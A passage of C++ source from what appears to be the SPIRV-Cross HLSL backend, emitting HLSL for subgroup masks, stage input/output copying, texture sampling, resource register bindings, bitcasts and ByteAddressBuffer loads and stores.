statement("if (WaveGetLaneIndex() >= 64 || WaveGetLaneIndex() < 32) gl_SubgroupEqMask.y = 0;");
statement("if (WaveGetLaneIndex() >= 96 || WaveGetLaneIndex() < 64) gl_SubgroupEqMask.z = 0;");
statement("if (WaveGetLaneIndex() < 96) gl_SubgroupEqMask.w = 0;");
break;
case BuiltInSubgroupGeMask:
// Emulate these ...
// No 64-bit in HLSL, so have to do it in 32-bit and unroll.
statement("gl_SubgroupGeMask = ~((1u << (WaveGetLaneIndex() - uint4(0, 32, 64, 96))) - 1u);");
statement("if (WaveGetLaneIndex() >= 32) gl_SubgroupGeMask.x = 0u;");
statement("if (WaveGetLaneIndex() >= 64) gl_SubgroupGeMask.y = 0u;");
statement("if (WaveGetLaneIndex() >= 96) gl_SubgroupGeMask.z = 0u;");
statement("if (WaveGetLaneIndex() < 32) gl_SubgroupGeMask.y = ~0u;");
statement("if (WaveGetLaneIndex() < 64) gl_SubgroupGeMask.z = ~0u;");
statement("if (WaveGetLaneIndex() < 96) gl_SubgroupGeMask.w = ~0u;");
break;
case BuiltInSubgroupGtMask:
// Emulate these ...
// No 64-bit in HLSL, so have to do it in 32-bit and unroll.
statement("uint gt_lane_index = WaveGetLaneIndex() + 1;");
statement("gl_SubgroupGtMask = ~((1u << (gt_lane_index - uint4(0, 32, 64, 96))) - 1u);");
statement("if (gt_lane_index >= 32) gl_SubgroupGtMask.x = 0u;");
statement("if (gt_lane_index >= 64) gl_SubgroupGtMask.y = 0u;");
statement("if (gt_lane_index >= 96) gl_SubgroupGtMask.z = 0u;");
statement("if (gt_lane_index >= 128) gl_SubgroupGtMask.w = 0u;");
statement("if (gt_lane_index < 32) gl_SubgroupGtMask.y = ~0u;");
statement("if (gt_lane_index < 64) gl_SubgroupGtMask.z = ~0u;");
statement("if (gt_lane_index < 96) gl_SubgroupGtMask.w = ~0u;");
break;
case BuiltInSubgroupLeMask:
// Emulate these ...
// No 64-bit in HLSL, so have to do it in 32-bit and unroll.
statement("uint le_lane_index = WaveGetLaneIndex() + 1;");
statement("gl_SubgroupLeMask = (1u << (le_lane_index - uint4(0, 32, 64, 96))) - 1u;");
statement("if (le_lane_index >= 32) gl_SubgroupLeMask.x = ~0u;");
statement("if (le_lane_index >= 64) gl_SubgroupLeMask.y = ~0u;");
statement("if (le_lane_index >= 96) gl_SubgroupLeMask.z = ~0u;");
statement("if (le_lane_index >= 128) gl_SubgroupLeMask.w = ~0u;");
statement("if (le_lane_index < 32) gl_SubgroupLeMask.y = 0u;");
statement("if (le_lane_index < 64) gl_SubgroupLeMask.z = 0u;");
statement("if (le_lane_index < 96) gl_SubgroupLeMask.w = 0u;");
break;
case BuiltInSubgroupLtMask:
// Emulate these ...
// No 64-bit in HLSL, so have to do it in 32-bit and unroll.
statement("gl_SubgroupLtMask = (1u << (WaveGetLaneIndex() - uint4(0, 32, 64, 96))) - 1u;");
statement("if (WaveGetLaneIndex() >= 32) gl_SubgroupLtMask.x = ~0u;");
statement("if (WaveGetLaneIndex() >= 64) gl_SubgroupLtMask.y = ~0u;");
statement("if (WaveGetLaneIndex() >= 96) gl_SubgroupLtMask.z = ~0u;");
statement("if (WaveGetLaneIndex() < 32) gl_SubgroupLtMask.y = 0u;");
statement("if (WaveGetLaneIndex() < 64) gl_SubgroupLtMask.z = 0u;");
statement("if (WaveGetLaneIndex() < 96) gl_SubgroupLtMask.w = 0u;");
break;
case BuiltInClipDistance:
for (uint32_t clip = 0; clip < clip_distance_count; clip++)
statement("gl_ClipDistance[", clip, "] = stage_input.gl_ClipDistance", clip / 4, ".", "xyzw"[clip & 3],
";");
break;
case BuiltInCullDistance:
for (uint32_t cull = 0; cull < cull_distance_count; cull++)
statement("gl_CullDistance[", cull, "] = stage_input.gl_CullDistance", cull / 4, ".", "xyzw"[cull & 3],
";");
break;
default:
statement(builtin, " = stage_input.", builtin, ";");
break;
}
});
// Copy from stage input struct to globals.
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
if (var.storage != StorageClassInput)
continue;
bool need_matrix_unroll = var.storage == StorageClassInput && execution.model == ExecutionModelVertex;
if (!block && !var.remapped_variable && type.pointer && !is_builtin_variable(var) &&
interface_variable_exists_in_entry_point(var.self))
{
auto name = to_name(var.self);
auto &mtype = get<SPIRType>(var.basetype);
if (need_matrix_unroll && mtype.columns > 1)
{
// Unroll matrices.
for (uint32_t col = 0; col < mtype.columns; col++)
statement(name, "[", col, "] = stage_input.", name, "_", col, ";");
}
else
{
statement(name, " = stage_input.", name, ";");
}
}
// I/O blocks don't use the common stage input/output struct, but separate outputs.
if (block && !is_builtin_variable(var) && interface_variable_exists_in_entry_point(var.self))
{
auto name = to_name(var.self);
statement(name, " = stage_input", name, ";");
}
}
}
// Run the shader.
if (execution.model == ExecutionModelVertex)
statement("vert_main();");
else if (execution.model == ExecutionModelFragment)
statement("frag_main();");
else if (execution.model == ExecutionModelGLCompute)
statement("comp_main();");
else
SPIRV_CROSS_THROW("Unsupported shader stage.");
// Copy block outputs.
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
if (var.storage != StorageClassOutput)
continue;
// I/O blocks don't use the common stage input/output struct, but separate outputs.
if (block && !is_builtin_variable(var) && interface_variable_exists_in_entry_point(var.self))
{
auto name = to_name(var.self);
statement("stage_output", name, " = ", name, ";");
}
}
}
// Copy stage outputs.
if (require_output)
{
statement("SPIRV_Cross_Output stage_output;");
// Copy builtins from globals to return struct.
active_output_builtins.for_each_bit([&](uint32_t i) {
// PointSize doesn't exist in HLSL.
if (i == BuiltInPointSize)
return;
switch (static_cast<BuiltIn>(i))
{
case BuiltInClipDistance:
for (uint32_t clip = 0; clip < clip_distance_count; clip++)
statement("stage_output.gl_ClipDistance", clip / 4, ".", "xyzw"[clip & 3], " = gl_ClipDistance[",
clip, "];");
break;
case BuiltInCullDistance:
for (uint32_t cull = 0; cull < cull_distance_count; cull++)
statement("stage_output.gl_CullDistance", cull / 4, ".", "xyzw"[cull & 3], " = gl_CullDistance[",
cull, "];");
break;
default:
{
auto builtin_expr = builtin_to_glsl(static_cast<BuiltIn>(i), StorageClassOutput);
statement("stage_output.", builtin_expr, " = ", builtin_expr, ";");
break;
}
}
});
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
if (var.storage != StorageClassOutput)
continue;
if (!block && var.storage != StorageClassFunction && !var.remapped_variable && type.pointer &&
!is_builtin_variable(var) && interface_variable_exists_in_entry_point(var.self))
{
auto name = to_name(var.self);
statement("stage_output.", name, " = ", name, ";");
}
}
}
statement("return stage_output;");
}
end_scope();
}
void CompilerHLSL::emit_fixup()
{
if (get_entry_point().model == ExecutionModelVertex)
{
// Do various mangling on the gl_Position.
if (hlsl_options.shader_model <= 30)
{
statement("gl_Position.x = gl_Position.x - gl_HalfPixel.x * "
"gl_Position.w;");
statement("gl_Position.y = gl_Position.y + gl_HalfPixel.y * "
"gl_Position.w;");
}
if (options.vertex.flip_vert_y)
statement("gl_Position.y = -gl_Position.y;");
if (options.vertex.fixup_clipspace)
statement("gl_Position.z = (gl_Position.z + gl_Position.w) * 0.5;");
}
}
void CompilerHLSL::emit_texture_op(const Instruction &i)
{
auto ops = stream(i);
auto op = static_cast<Op>(i.op);
uint32_t length = i.length;
if (i.offset + length > spirv.size())
SPIRV_CROSS_THROW("Compiler::parse() opcode out of range.");
vector<uint32_t> inherited_expressions;
uint32_t result_type = ops[0];
uint32_t id = ops[1];
uint32_t img = ops[2];
uint32_t coord = ops[3];
uint32_t dref = 0;
uint32_t comp = 0;
bool gather = false;
bool proj = false;
const uint32_t *opt = nullptr;
auto *combined_image = maybe_get<SPIRCombinedImageSampler>(img);
auto img_expr = to_expression(combined_image ? combined_image->image : img);
inherited_expressions.push_back(coord);
switch (op)
{
case OpImageSampleDrefImplicitLod:
case OpImageSampleDrefExplicitLod:
dref = ops[4];
opt = &ops[5];
length -= 5;
break;
case OpImageSampleProjDrefImplicitLod:
case OpImageSampleProjDrefExplicitLod:
dref = ops[4];
proj = true;
opt = &ops[5];
length -= 5;
break;
case OpImageDrefGather:
dref = ops[4];
opt = &ops[5];
gather = true;
length -= 5;
break;
case OpImageGather:
comp = ops[4];
opt = &ops[5];
gather = true;
length -= 5;
break;
case OpImageSampleProjImplicitLod:
case OpImageSampleProjExplicitLod:
opt = &ops[4];
length -= 4;
proj = true;
break;
case OpImageQueryLod:
opt = &ops[4];
length -= 4;
break;
default:
opt = &ops[4];
length -= 4;
break;
}
auto &imgtype = expression_type(img);
uint32_t coord_components = 0;
switch (imgtype.image.dim)
{
case spv::Dim1D:
coord_components = 1;
break;
case spv::Dim2D:
coord_components = 2;
break;
case spv::Dim3D:
coord_components = 3;
break;
case spv::DimCube:
coord_components = 3;
break;
case spv::DimBuffer:
coord_components = 1;
break;
default:
coord_components = 2;
break;
}
if (dref)
inherited_expressions.push_back(dref);
if (proj)
coord_components++;
if (imgtype.image.arrayed)
coord_components++;
uint32_t bias = 0;
uint32_t lod = 0;
uint32_t grad_x = 0;
uint32_t grad_y = 0;
uint32_t coffset = 0;
uint32_t offset = 0;
uint32_t coffsets = 0;
uint32_t sample = 0;
uint32_t flags = 0;
if (length)
{
flags = opt[0];
opt++;
length--;
}
auto test = [&](uint32_t &v, uint32_t flag) {
if (length && (flags & flag))
{
v = *opt++;
inherited_expressions.push_back(v);
length--;
}
};
test(bias, ImageOperandsBiasMask);
test(lod, ImageOperandsLodMask);
test(grad_x, ImageOperandsGradMask);
test(grad_y, ImageOperandsGradMask);
test(coffset, ImageOperandsConstOffsetMask);
test(offset, ImageOperandsOffsetMask);
test(coffsets, ImageOperandsConstOffsetsMask);
test(sample, ImageOperandsSampleMask);
string expr;
string texop;
if (op == OpImageFetch)
{
if (hlsl_options.shader_model < 40)
{
SPIRV_CROSS_THROW("texelFetch is not supported in HLSL shader model 2/3.");
}
texop += img_expr;
texop += ".Load";
}
else if (op == OpImageQueryLod)
{
texop += img_expr;
texop += ".CalculateLevelOfDetail";
}
else
{
auto &imgformat = get<SPIRType>(imgtype.image.type);
if (imgformat.basetype != SPIRType::Float)
{
SPIRV_CROSS_THROW("Sampling non-float textures is not supported in HLSL.");
}
if (hlsl_options.shader_model >= 40)
{
texop += img_expr;
if (imgtype.image.depth)
{
if (gather)
{
SPIRV_CROSS_THROW("GatherCmp does not exist in HLSL.");
}
else if (lod || grad_x || grad_y)
{
// Assume we want a fixed level, and the only thing we can get in HLSL is SampleCmpLevelZero.
texop += ".SampleCmpLevelZero";
}
else
texop += ".SampleCmp";
}
else if (gather)
{
uint32_t comp_num = get<SPIRConstant>(comp).scalar();
if (hlsl_options.shader_model >= 50)
{
switch (comp_num)
{
case 0:
texop += ".GatherRed";
break;
case 1:
texop += ".GatherGreen";
break;
case 2:
texop += ".GatherBlue";
break;
case 3:
texop += ".GatherAlpha";
break;
default:
SPIRV_CROSS_THROW("Invalid component.");
}
}
else
{
if (comp_num == 0)
texop += ".Gather";
else
SPIRV_CROSS_THROW("HLSL shader model 4 can only gather from the red component.");
}
}
else if (bias)
texop += ".SampleBias";
else if (grad_x || grad_y)
texop += ".SampleGrad";
else if (lod)
texop += ".SampleLevel";
else
texop += ".Sample";
}
else
{
switch (imgtype.image.dim)
{
case Dim1D:
texop += "tex1D";
break;
case Dim2D:
texop += "tex2D";
break;
case Dim3D:
texop += "tex3D";
break;
case DimCube:
texop += "texCUBE";
break;
case DimRect:
case DimBuffer:
case DimSubpassData:
SPIRV_CROSS_THROW("Buffer texture support is not yet implemented for HLSL"); // TODO
default:
SPIRV_CROSS_THROW("Invalid dimension.");
}
if (gather)
SPIRV_CROSS_THROW("textureGather is not supported in HLSL shader model 2/3.");
if (offset || coffset)
SPIRV_CROSS_THROW("textureOffset is not supported in HLSL shader model 2/3.");
if (proj)
texop += "proj";
if (grad_x || grad_y)
texop += "grad";
if (lod)
texop += "lod";
if (bias)
texop += "bias";
}
}
expr += texop;
expr += "(";
if (hlsl_options.shader_model < 40)
{
if (combined_image)
SPIRV_CROSS_THROW("Separate images/samplers are not supported in HLSL shader model 2/3.");
expr += to_expression(img);
}
else if (op != OpImageFetch)
{
string sampler_expr;
if (combined_image)
sampler_expr = to_expression(combined_image->sampler);
else
sampler_expr = to_sampler_expression(img);
expr += sampler_expr;
}
auto swizzle = [](uint32_t comps, uint32_t in_comps) -> const char * {
if (comps == in_comps)
return "";
switch (comps)
{
case 1:
return ".x";
case 2:
return ".xy";
case 3:
return ".xyz";
default:
return "";
}
};
bool forward = should_forward(coord);
// The IR can give us more components than we need, so chop them off as needed.
auto coord_expr = to_expression(coord) + swizzle(coord_components, expression_type(coord).vecsize);
if (proj)
{
if (!requires_textureProj)
{
requires_textureProj = true;
force_recompile = true;
}
coord_expr = "SPIRV_Cross_projectTextureCoordinate(" + coord_expr + ")";
}
if (hlsl_options.shader_model < 40 && lod)
{
auto &coordtype = expression_type(coord);
string coord_filler;
for (uint32_t size = coordtype.vecsize; size < 3; ++size)
{
coord_filler += ", 0.0";
}
coord_expr = "float4(" + coord_expr + coord_filler + ", " + to_expression(lod) + ")";
}
if (hlsl_options.shader_model < 40 && bias)
{
auto &coordtype = expression_type(coord);
string coord_filler;
for (uint32_t size = coordtype.vecsize; size < 3; ++size)
{
coord_filler += ", 0.0";
}
coord_expr = "float4(" + coord_expr + coord_filler + ", " + to_expression(bias) + ")";
}
if (op == OpImageFetch)
{
auto &coordtype = expression_type(coord);
if (imgtype.image.dim != DimBuffer && !imgtype.image.ms)
coord_expr =
join("int", coordtype.vecsize + 1, "(", coord_expr, ", ", lod ? to_expression(lod) : string("0"), ")");
}
else
expr += ", ";
expr += coord_expr;
if (dref)
{
forward = forward && should_forward(dref);
expr += ", ";
expr += to_expression(dref);
}
if (!dref && (grad_x || grad_y))
{
forward = forward && should_forward(grad_x);
forward = forward && should_forward(grad_y);
expr += ", ";
expr += to_expression(grad_x);
expr += ", ";
expr += to_expression(grad_y);
}
if (!dref && lod && hlsl_options.shader_model >= 40 && op != OpImageFetch)
{
forward = forward && should_forward(lod);
expr += ", ";
expr += to_expression(lod);
}
if (!dref && bias && hlsl_options.shader_model >= 40)
{
forward = forward && should_forward(bias);
expr += ", ";
expr += to_expression(bias);
}
if (coffset)
{
forward = forward && should_forward(coffset);
expr += ", ";
expr += to_expression(coffset);
}
else if (offset)
{
forward = forward && should_forward(offset);
expr += ", ";
expr += to_expression(offset);
}
if (sample)
{
expr += ", ";
expr += to_expression(sample);
}
expr += ")";
if (op == OpImageQueryLod)
{
// This is rather awkward.
// textureQueryLod returns two values, the "accessed level",
// as well as the actual LOD lambda.
// As far as I can tell, there is no way to get the .x component
// according to GLSL spec, and it depends on the sampler itself.
// Just assume X == Y, so we will need to splat the result to a float2.
statement("float _", id, "_tmp = ", expr, ";");
emit_op(result_type, id, join("float2(_", id, "_tmp, _", id, "_tmp)"), true, true);
}
else
{
emit_op(result_type, id, expr, forward, false);
}
for (auto &inherit : inherited_expressions)
inherit_expression_dependencies(id, inherit);
switch (op)
{
case OpImageSampleDrefImplicitLod:
case OpImageSampleImplicitLod:
case OpImageSampleProjImplicitLod:
case OpImageSampleProjDrefImplicitLod:
case OpImageQueryLod:
register_control_dependent_expression(id);
break;
default:
break;
}
}
string CompilerHLSL::to_resource_binding(const SPIRVariable &var)
{
// TODO: Basic implementation, might need special consideration for RW/RO structured buffers,
// RW/RO images, and so on.
if (!has_decoration(var.self, DecorationBinding))
return "";
const auto &type = get<SPIRType>(var.basetype);
char space = '\0';
switch (type.basetype)
{
case SPIRType::SampledImage:
space = 't'; // SRV
break;
case SPIRType::Image:
if (type.image.sampled == 2 && type.image.dim != DimSubpassData)
space = 'u'; // UAV
else
space = 't'; // SRV
break;
case SPIRType::Sampler:
space = 's';
break;
case SPIRType::Struct:
{
auto storage = type.storage;
if (storage == StorageClassUniform)
{
if (has_decoration(type.self, DecorationBufferBlock))
{
Bitset flags = get_buffer_block_flags(var);
bool is_readonly = flags.get(DecorationNonWritable);
space = is_readonly ? 't' : 'u'; // UAV
}
else if (has_decoration(type.self, DecorationBlock))
space = 'b'; // Constant buffers
}
else if (storage == StorageClassPushConstant)
space = 'b'; // Constant buffers
else if (storage == StorageClassStorageBuffer)
space = 'u'; // UAV
break;
}
default:
break;
}
if (!space)
return "";
return to_resource_register(space, get_decoration(var.self, DecorationBinding),
get_decoration(var.self, DecorationDescriptorSet));
}
string CompilerHLSL::to_resource_binding_sampler(const SPIRVariable &var)
{
// For combined image samplers.
if (!has_decoration(var.self, DecorationBinding))
return "";
return to_resource_register('s', get_decoration(var.self, DecorationBinding),
get_decoration(var.self, DecorationDescriptorSet));
}
string CompilerHLSL::to_resource_register(char space, uint32_t binding, uint32_t space_set)
{
if (hlsl_options.shader_model >= 51)
return join(" : register(", space, binding, ", space", space_set, ")");
else
return join(" : register(", space, binding, ")");
}
void CompilerHLSL::emit_modern_uniform(const SPIRVariable &var)
{
auto &type = get<SPIRType>(var.basetype);
switch (type.basetype)
{
case SPIRType::SampledImage:
case SPIRType::Image:
{
statement(image_type_hlsl_modern(type), " ", to_name(var.self), type_to_array_glsl(type),
to_resource_binding(var), ";");
if (type.basetype == SPIRType::SampledImage && type.image.dim != DimBuffer)
{
// For combined image samplers, also emit a combined image sampler.
if (type.image.depth)
statement("SamplerComparisonState ", to_sampler_expression(var.self), type_to_array_glsl(type),
to_resource_binding_sampler(var), ";");
else
statement("SamplerState ", to_sampler_expression(var.self), type_to_array_glsl(type),
to_resource_binding_sampler(var), ";");
}
break;
}
case SPIRType::Sampler:
if (comparison_samplers.count(var.self))
statement("SamplerComparisonState ", to_name(var.self), type_to_array_glsl(type), to_resource_binding(var),
";");
else
statement("SamplerState ", to_name(var.self), type_to_array_glsl(type), to_resource_binding(var), ";");
break;
default:
statement(variable_decl(var), to_resource_binding(var), ";");
break;
}
}
void CompilerHLSL::emit_legacy_uniform(const SPIRVariable &var)
{
auto &type = get<SPIRType>(var.basetype);
switch (type.basetype)
{
case SPIRType::Sampler:
case SPIRType::Image:
SPIRV_CROSS_THROW("Separate image and samplers not supported in legacy HLSL.");
default:
statement(variable_decl(var), ";");
break;
}
}
void CompilerHLSL::emit_uniform(const SPIRVariable &var)
{
add_resource_name(var.self);
if (hlsl_options.shader_model >= 40)
emit_modern_uniform(var);
else
emit_legacy_uniform(var);
}
string CompilerHLSL::bitcast_glsl_op(const SPIRType &out_type, const SPIRType &in_type)
{
if (out_type.basetype == SPIRType::UInt && in_type.basetype == SPIRType::Int)
return type_to_glsl(out_type);
else if (out_type.basetype == SPIRType::UInt64 && in_type.basetype == SPIRType::Int64)
return type_to_glsl(out_type);
else if (out_type.basetype == SPIRType::UInt && in_type.basetype == SPIRType::Float)
return "asuint";
else if (out_type.basetype == SPIRType::Int && in_type.basetype == SPIRType::UInt)
return type_to_glsl(out_type);
else if (out_type.basetype == SPIRType::Int64 && in_type.basetype == SPIRType::UInt64)
return type_to_glsl(out_type);
else if (out_type.basetype == SPIRType::Int && in_type.basetype == SPIRType::Float)
return "asint";
else if (out_type.basetype == SPIRType::Float && in_type.basetype == SPIRType::UInt)
return "asfloat";
else if (out_type.basetype == SPIRType::Float && in_type.basetype == SPIRType::Int)
return "asfloat";
else if (out_type.basetype == SPIRType::Int64 && in_type.basetype == SPIRType::Double)
SPIRV_CROSS_THROW("Double to Int64 is not supported in HLSL.");
else if (out_type.basetype == SPIRType::UInt64 && in_type.basetype == SPIRType::Double)
SPIRV_CROSS_THROW("Double to UInt64 is not supported in HLSL.");
else if (out_type.basetype == SPIRType::Double && in_type.basetype == SPIRType::Int64)
return "asdouble";
else if (out_type.basetype == SPIRType::Double && in_type.basetype == SPIRType::UInt64)
return "asdouble";
else if (out_type.basetype == SPIRType::Half && in_type.basetype == SPIRType::UInt && in_type.vecsize == 1)
{
if (!requires_explicit_fp16_packing)
{
requires_explicit_fp16_packing = true;
force_recompile = true;
}
return "SPIRV_Cross_unpackFloat2x16";
}
else if (out_type.basetype == SPIRType::UInt && in_type.basetype == SPIRType::Half && in_type.vecsize == 2)
{
if (!requires_explicit_fp16_packing)
{
requires_explicit_fp16_packing = true;
force_recompile = true;
}
return "SPIRV_Cross_packFloat2x16";
}
else
return "";
}
void CompilerHLSL::emit_glsl_op(uint32_t result_type, uint32_t id, uint32_t eop, const uint32_t *args, uint32_t count)
{
GLSLstd450 op = static_cast<GLSLstd450>(eop);
switch (op)
{
case GLSLstd450InverseSqrt:
emit_unary_func_op(result_type, id, args[0], "rsqrt");
break;
case GLSLstd450Fract:
emit_unary_func_op(result_type, id, args[0], "frac");
break;
case GLSLstd450RoundEven:
SPIRV_CROSS_THROW("roundEven is not supported on HLSL.");
case GLSLstd450Acosh:
case GLSLstd450Asinh:
case GLSLstd450Atanh:
SPIRV_CROSS_THROW("Inverse hyperbolics are not supported on HLSL.");
case GLSLstd450FMix:
case GLSLstd450IMix:
emit_trinary_func_op(result_type, id, args[0], args[1], args[2], "lerp");
break;
case GLSLstd450Atan2:
emit_binary_func_op(result_type, id, args[0], args[1], "atan2");
break;
case GLSLstd450Fma:
emit_trinary_func_op(result_type, id, args[0], args[1], args[2], "mad");
break;
case GLSLstd450InterpolateAtCentroid:
emit_unary_func_op(result_type, id, args[0], "EvaluateAttributeAtCentroid");
break;
case GLSLstd450InterpolateAtSample:
emit_binary_func_op(result_type, id, args[0], args[1], "EvaluateAttributeAtSample");
break;
case GLSLstd450InterpolateAtOffset:
emit_binary_func_op(result_type, id, args[0], args[1], "EvaluateAttributeSnapped");
break;
case GLSLstd450PackHalf2x16:
if (!requires_fp16_packing)
{
requires_fp16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_packHalf2x16");
break;
case GLSLstd450UnpackHalf2x16:
if (!requires_fp16_packing)
{
requires_fp16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_unpackHalf2x16");
break;
case GLSLstd450PackSnorm4x8:
if (!requires_snorm8_packing)
{
requires_snorm8_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_packSnorm4x8");
break;
case GLSLstd450UnpackSnorm4x8:
if (!requires_snorm8_packing)
{
requires_snorm8_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_unpackSnorm4x8");
break;
case GLSLstd450PackUnorm4x8:
if (!requires_unorm8_packing)
{
requires_unorm8_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_packUnorm4x8");
break;
case GLSLstd450UnpackUnorm4x8:
if (!requires_unorm8_packing)
{
requires_unorm8_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_unpackUnorm4x8");
break;
case GLSLstd450PackSnorm2x16:
if (!requires_snorm16_packing)
{
requires_snorm16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_packSnorm2x16");
break;
case GLSLstd450UnpackSnorm2x16:
if (!requires_snorm16_packing)
{
requires_snorm16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_unpackSnorm2x16");
break;
case GLSLstd450PackUnorm2x16:
if (!requires_unorm16_packing)
{
requires_unorm16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_packUnorm2x16");
break;
case GLSLstd450UnpackUnorm2x16:
if (!requires_unorm16_packing)
{
requires_unorm16_packing = true;
force_recompile = true;
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_unpackUnorm2x16");
break;
case GLSLstd450PackDouble2x32:
case GLSLstd450UnpackDouble2x32:
SPIRV_CROSS_THROW("packDouble2x32/unpackDouble2x32 not supported in HLSL.");
case GLSLstd450FindILsb:
emit_unary_func_op(result_type, id, args[0], "firstbitlow");
break;
case GLSLstd450FindSMsb:
case GLSLstd450FindUMsb:
emit_unary_func_op(result_type, id, args[0], "firstbithigh");
break;
case GLSLstd450MatrixInverse:
{
auto &type = get<SPIRType>(result_type);
if (type.vecsize == 2 && type.columns == 2)
{
if (!requires_inverse_2x2)
{
requires_inverse_2x2 = true;
force_recompile = true;
}
}
else if (type.vecsize == 3 && type.columns == 3)
{
if (!requires_inverse_3x3)
{
requires_inverse_3x3 = true;
force_recompile = true;
}
}
else if (type.vecsize == 4 && type.columns == 4)
{
if (!requires_inverse_4x4)
{
requires_inverse_4x4 = true;
force_recompile = true;
}
}
emit_unary_func_op(result_type, id, args[0], "SPIRV_Cross_Inverse");
break;
}
default:
CompilerGLSL::emit_glsl_op(result_type, id, eop, args, count);
break;
}
}
string CompilerHLSL::read_access_chain(const SPIRAccessChain &chain)
{
auto &type = get<SPIRType>(chain.basetype);
SPIRType target_type;
target_type.basetype = SPIRType::UInt;
target_type.vecsize = type.vecsize;
target_type.columns = type.columns;
if (type.basetype == SPIRType::Struct)
SPIRV_CROSS_THROW("Reading structs from ByteAddressBuffer not yet supported.");
if (type.width != 32)
SPIRV_CROSS_THROW("Reading types other than 32-bit from ByteAddressBuffer not yet supported.");
if (!type.array.empty())
SPIRV_CROSS_THROW("Reading arrays from ByteAddressBuffer not yet supported.");
string load_expr;
// Load a vector or scalar.
if (type.columns == 1 && !chain.row_major_matrix)
{
const char *load_op = nullptr;
switch (type.vecsize)
{
case 1:
load_op = "Load";
break;
case 2:
load_op = "Load2";
break;
case 3:
load_op = "Load3";
break;
case 4:
load_op = "Load4";
break;
default:
SPIRV_CROSS_THROW("Unknown vector size.");
}
load_expr = join(chain.base, ".", load_op, "(", chain.dynamic_index, chain.static_index, ")");
}
else if (type.columns == 1)
{
// Strided load since we are loading a column from a row-major matrix.
if (type.vecsize > 1)
{
load_expr = type_to_glsl(target_type);
load_expr += "(";
}
for (uint32_t r = 0; r < type.vecsize; r++)
{
load_expr +=
join(chain.base, ".Load(", chain.dynamic_index, chain.static_index + r * chain.matrix_stride, ")");
if (r + 1 < type.vecsize)
load_expr += ", ";
}
if (type.vecsize > 1)
load_expr += ")";
}
else if (!chain.row_major_matrix)
{
// Load a matrix, column-major, the easy case.
const char *load_op = nullptr;
switch (type.vecsize)
{
case 1:
load_op = "Load";
break;
case 2:
load_op = "Load2";
break;
case 3:
load_op = "Load3";
break;
case 4:
load_op = "Load4";
break;
default:
SPIRV_CROSS_THROW("Unknown vector size.");
}
// Note, this loading style in HLSL is *actually* row-major, but we always treat matrices as transposed in this backend,
// so row-major is technically column-major ...
load_expr = type_to_glsl(target_type);
load_expr += "(";
for (uint32_t c = 0; c < type.columns; c++)
{
load_expr += join(chain.base, ".", load_op, "(", chain.dynamic_index,
chain.static_index + c * chain.matrix_stride, ")");
if (c + 1 < type.columns)
load_expr += ", ";
}
load_expr += ")";
}
else
{
// Pick out elements one by one ... Hopefully compilers are smart enough to recognize this pattern
// considering HLSL is "row-major decl", but "column-major" memory layout (basically implicit transpose model, ugh) ...
load_expr = type_to_glsl(target_type);
load_expr += "(";
for (uint32_t c = 0; c < type.columns; c++)
{
for (uint32_t r = 0; r < type.vecsize; r++)
{
load_expr += join(chain.base, ".Load(", chain.dynamic_index,
chain.static_index + c * (type.width / 8) + r * chain.matrix_stride, ")");
if ((r + 1 < type.vecsize) || (c + 1 < type.columns))
load_expr += ", ";
}
}
load_expr += ")";
}
auto bitcast_op = bitcast_glsl_op(type, target_type);
if (!bitcast_op.empty())
load_expr = join(bitcast_op, "(", load_expr, ")");
return load_expr;
}
void CompilerHLSL::emit_load(const Instruction &instruction)
{
auto ops = stream(instruction);
auto *chain = maybe_get<SPIRAccessChain>(ops[2]);
if (chain)
{
uint32_t result_type = ops[0];
uint32_t id = ops[1];
uint32_t ptr = ops[2];
auto load_expr = read_access_chain(*chain);
bool forward = should_forward(ptr) && forced_temporaries.find(id) == end(forced_temporaries);
// Do not forward complex load sequences like matrices, structs and arrays.
auto &type = get<SPIRType>(result_type);
if (type.columns > 1 || !type.array.empty() || type.basetype == SPIRType::Struct)
forward = false;
auto &e = emit_op(result_type, id, load_expr, forward, true);
e.need_transpose = false;
register_read(id, ptr, forward);
}
else
CompilerGLSL::emit_instruction(instruction);
}
void CompilerHLSL::write_access_chain(const SPIRAccessChain &chain, uint32_t value)
{
auto &type = get<SPIRType>(chain.basetype);
SPIRType target_type;
target_type.basetype = SPIRType::UInt;
target_type.vecsize = type.vecsize;
target_type.columns = type.columns;
if (type.basetype == SPIRType::Struct)
SPIRV_CROSS_THROW("Writing structs to RWByteAddressBuffer not yet supported.");
if (type.width != 32)
SPIRV_CROSS_THROW("Writing types other than 32-bit to RWByteAddressBuffer not yet supported.");
if (!type.array.empty())
SPIRV_CROSS_THROW("Reading arrays from ByteAddressBuffer not yet supported.");
if (type.columns == 1 && !chain.row_major_matrix)
{
const char *store_op = nullptr;
switch (type.vecsize)
{
case 1:
store_op = "Store";
break;
case 2:
store_op = "Store2";
break;
case 3:
store_op = "Store3";
break;
case 4:
store_op = "Store4";
break;
default:
SPIRV_CROSS_THROW("Unknown vector size.");
}
auto store_expr = to_expression(value);
auto bitcast_op = bitcast_glsl_op(target_type, type);
if (!bitcast_op.empty())
store_expr = join(bitcast_op, "(", store_expr, ")");
statement(chain.base, ".", store_op, "(", chain.dynamic_index, chain.static_index, ", ", store_expr, ");");
}
